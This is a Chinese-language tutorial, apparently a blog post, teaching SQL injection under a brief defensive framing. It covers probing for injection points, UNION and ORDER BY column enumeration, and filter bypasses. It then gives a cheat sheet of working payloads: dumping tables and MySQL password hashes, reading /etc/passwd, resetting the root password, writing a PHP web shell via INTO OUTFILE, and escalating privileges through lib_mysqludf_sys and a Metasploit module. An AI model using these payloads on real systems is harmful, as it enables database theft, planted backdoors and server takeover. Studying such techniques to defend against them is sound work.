没有最安全的系统,只有不断学习了解这些入侵代码,才能更好的防范,本期教学SQL注入的原理,还有xss留到下次介绍。
1、SQL注入最简单的原理代码
$id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入点在于'id',id为接收传参的变量,基本思路是在传参中闭合前面的单引号,注释掉后面的单引号。
2、查找注入点的办法
?id=1' #添加单引号就行传参闭合 ?id=1' [or/and] '1=2 #使用逻辑与或者逻辑或,判断where注入条件
3、常用注释符号
# --+ #URL解码后,“+”被解码为“space” -- # --加空格 /**/等
4、闭合
‘$id’ "$id" ($id) [$id]等
5、ORDER BY
ORDER BY 用于对结SQL果集按照一个列或者多个列进行排序。默认按照升序对记录进行排序。
# ORDER BY语法 SELECT column_name_1,column_name_2 FROM table_name ORDER BY column_name_1,column_name_2 ASC|DESC; #或者使用如下: ORDER BY 1,2 ASC|DESC; #1等同于column_name_1,2等同于column_name_2
在SQL注入过程中,需要判断注入点的返回值列数,由于对返回值列名称的未知,所以常使用order by column_num的方式进行检查,基本原理是当column_num小于等于返回值列数,输出结果正常,反之SQL执行异常。
6、UNION
UNION用于合并两个或多个SELECT语句的结果集。
需要注意的是:
1、UNION前后表字段数量必须相同,字段数量不同会出错;
2、UNION前后表字段的数据类型要相同;
3、当前表执行结果错误,会显示后表的内容。
# UNION语法 SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2 # 默认情况UNION操作符选取不同的值。如果允许重复的值,请使用UNION ALL。 # UNION ALL语法 SELECT column_name(s) FROM table_name1 UNION ALL SELECT column_name(s) FROM table_name2 # UNION结果集中的列名总是等于UNION 中第一个SELECT 语句中的列名。
7、SQL常用函数
select version( ); ——MySQL 版本 select @@version( ); select user( ); ——数据库用户名 select database( ); ——数据库名 select @@datadir ——数据库文件路径 select @@basedir ——数据库安装路径 select @@version_compile_os ——操作系统版本 select load_file('/var/lib/mysql-files/key.txt‘) ——读取文件,使用绝对路径
8、字符串连接
在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。
concat(str1,str2,…)——没有分隔符地连接字符串 concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串 group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
9、常用绕过
出于防御目的,传参在被接收使用前,会对传参的内容进行检查,并对一些异常关键字或字符进行过滤,简单的过滤原则是使用黑名单的方式进行过滤,这也就导致能在某些特殊情况下实现黑名单绕过,达到注入的目的。
1、编码绕过。SQL关键字被过滤。
URL编码、ascii码、hex、base64等
2、双写、双编码绕过。SQL关键字被过滤。
uniounionn、%250b
3、空格过滤
%20 %0a %0c %0b %0d等
4、注释符号“#”过滤
–%0a、–+等
10、利用SQL注入,常用获取信息内容
# 查询权限 select grantee, table_schema, privilege_type FROM information_schema.schema_privileges; # 权限 select user,file_priv from mysql.user where user='root'; # ⽂件权限 # 执⾏系统命令 select do_system('id'); ! bash # 常⽤SQLi,爆库、爆表 union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables; # 0x7c=“|” union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>" # 读写⽂件 select load_file('/var/lib/mysql-files/key.txt'); select 1,2,"<?php echo shell_exec($_GET['cmd']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php' # 查数据库帐号密码 SELECT User,Host,Password FROM mysql.user; SELECT User,Host,authentication_string FROM mysql.user; # 修改mysql root密码 UPDATE mysql.user SET Password=PASSWORD('NewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; # 任意⽂件读取 load data local infile "/etc/passwd" into table <test> FIELDS TERMINATED BY ' '; # 提取数据库帐号密码(可登录mysql) cat /etc/mysql/debian.cnf # 所有mysql⽤户的密码HASH sudo cat /var/lib/mysql/mysql/user.MYD grep -oaE "[-_.*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" # 通过库提权 locate lib_mysqludf_sys.so # 来⾃sqlmap(linux) locate lib_mysqludf_sys.dll # windows show variables like '%plugins%'; use mysql; create table npn(line blob); insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; select sys_exec('id > /tmp/out.txt'); # 利⽤MSF模块提权(windows) [mysql]> update mysql.user set host="%"; use exploit/windows/mysql/mysql_mof
这些基础原理基本可以防御一般的sql注入式攻击,一般网站开启的防火墙过滤规则也可以参考一下。